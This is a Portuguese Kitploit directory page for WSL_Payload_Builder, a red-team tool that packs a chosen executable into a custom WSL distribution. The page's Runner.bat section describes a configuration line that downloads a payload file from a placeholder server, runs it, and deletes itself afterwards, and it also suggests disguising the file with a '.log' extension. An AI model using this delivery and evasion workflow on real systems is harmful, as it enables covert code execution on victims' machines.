Skip to content
KitploitKITPLOIT
FerramentasExploitsBlog
Log in
Enviar
FerramentasExploitsBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

FeedsContatoPrivacidade© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
WSL_Payload_Builder — Um poderoso script de shell para criar distribuições WSL (Windows Subsystem for Linux) personalizadas com payloads embutidos. | Kitploit
Ferramentas/GitHubGitHub/m1ddl3w4r3/wsl_payload_builder
Geração de PayloadsTestes de PenetraçãoRed TeamingDesenvolvimento de Payloads
GitHubm1ddl3w4r3/wsl_payload_builder

WSL_Payload_Builder

Um poderoso script de shell para criar distribuições WSL (Windows Subsystem for Linux) personalizadas com payloads embutidos.

Ver Repositório
72719há 11 mesesRevisado pelo Kitploit

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

Construtor de Payloads WSL

Aviso Legal

Esta ferramenta destina-se a pesquisa legítima de segurança e testes de penetração. Os usuários são responsáveis por garantir que possuem autorização adequada antes de testar sistemas que não possuem ou para os quais não têm permissão explícita para testar.

Visão Geral

Um script de shell para criar distribuições WSL (Subsistema Windows para Linux) mínimas com payloads incorporados. Esta ferramenta automatiza o processo de construção de distribuições WSL baseadas em Alpine Linux que podem executar payloads personalizados na inicialização.

O script Build_WSL_Payload.sh baixa o rootfs mais recente do Alpine Linux, personaliza-o para uso no WSL, incorpora um executável especificado pelo usuário e empacota tudo em um arquivo .wsl distribuível.

O Runner.bat baixará o arquivo de configuração do WSL a partir da URL fornecida e o iniciará (instalará o WSL se não estiver presente e houver direitos de administrador disponíveis)

Isto é particularmente útil para testes de penetração, pesquisa de segurança e criação de ambientes WSL personalizados.

Uso

Construindo Payloads (Linux/macOS/Windows(WSL))

Argumentos

  • -N, --name: Especifique o nome padrão da distribuição para o WSL
  • -P, --payload: Especifique o caminho para o arquivo executável do payload
  • -H, --help: Exiba o menu de ajuda

Exemplos

# Build a WSL distribution named "CalcWSL" with a custom payload
./Build_WSL_Payload.sh -N CalcWSL -P ./Calc.exe

Executando Payloads (Windows)

Uso Básico

Opção 1. Clique duplo - Clicar duas vezes no arquivo WSL executará o payload, mas também abrirá um prompt de comando que deverá ser fechado manualmente. (Não recomendado)

Opção 2. Use o arquivo Runner.bat

C:\Users\USER_NAME> .\Runner.bat

O que ele faz

O script Runner.bat automaticamente:

  1. Baixa o arquivo de payload WSL de uma URL configurada
  2. Verifica se o WSL já está instalado no sistema
  3. Instala o WSL se não estiver presente (requer privilégios de administrador)
  4. Instala a distribuição WSL baixada
  5. Limpa removendo a distribuição e a si mesmo após a execução.

Requisitos

  • Windows 10/11 com suporte a WSL
  • Privilégios de administrador (se o WSL ainda não estiver instalado)
  • Conexão com a internet para baixar o arquivo de payload se estiver usando o script .bat

Configuração

Edite as variáveis no topo do Runner.bat para personalizar:

set "DOWNLOAD_URL=https://your-server.com/payload.wsl"
set "WSL_FILE=payload.log" # Still testing but can use most file extensions here. 

Referências

Este projeto foi inspirado e baseia-se nas pesquisas e técnicas documentadas no repositório dmcxblue/WSL-Payloads, que fornece informações valiosas sobre o armamento do formato de arquivo WSL e pesquisa de segurança.

Licença

Licença MIT

A permissão é, por meio deste, concedida, gratuitamente, a qualquer pessoa que obtenha uma cópia deste software e dos arquivos de documentação associados (o "Software"), para lidar com o Software sem restrições, incluindo, sem limitação, os direitos de usar, copiar, modificar, fundir, publicar, distribuir, sublicenciar e/ou vender cópias do Software, e permitir que as pessoas a quem o Software for fornecido o façam, sujeitas às seguintes condições:

O aviso de direitos autorais acima e este aviso de permissão deverão ser incluídos em todas as cópias ou partes substanciais do Software.

O SOFTWARE É FORNECIDO "NO ESTADO EM QUE SE ENCONTRA", SEM GARANTIA DE QUALQUER TIPO, EXPRESSA OU IMPLÍCITA, INCLUINDO, MAS NÃO SE LIMITANDO ÀS GARANTIAS DE COMERCIABILIDADE, ADEQUAÇÃO A UM DETERMINADO FIM E NÃO VIOLAÇÃO. EM NENHUM CASO OS AUTORES OU TITULARES DOS DIREITOS AUTORAIS SERÃO RESPONSÁVEIS POR QUALQUER RECLAMAÇÃO, DANOS OU OUTRA RESPONSABILIDADE, SEJA EM AÇÃO DE CONTRATO, ATO ILÍCITO OU DE OUTRA FORMA, DECORRENTE DE, OU EM CONEXÃO COM, O SOFTWARE OU O USO OU OUTRAS NEGOCIAÇÕES NO SOFTWARE.

Baixar ferramenta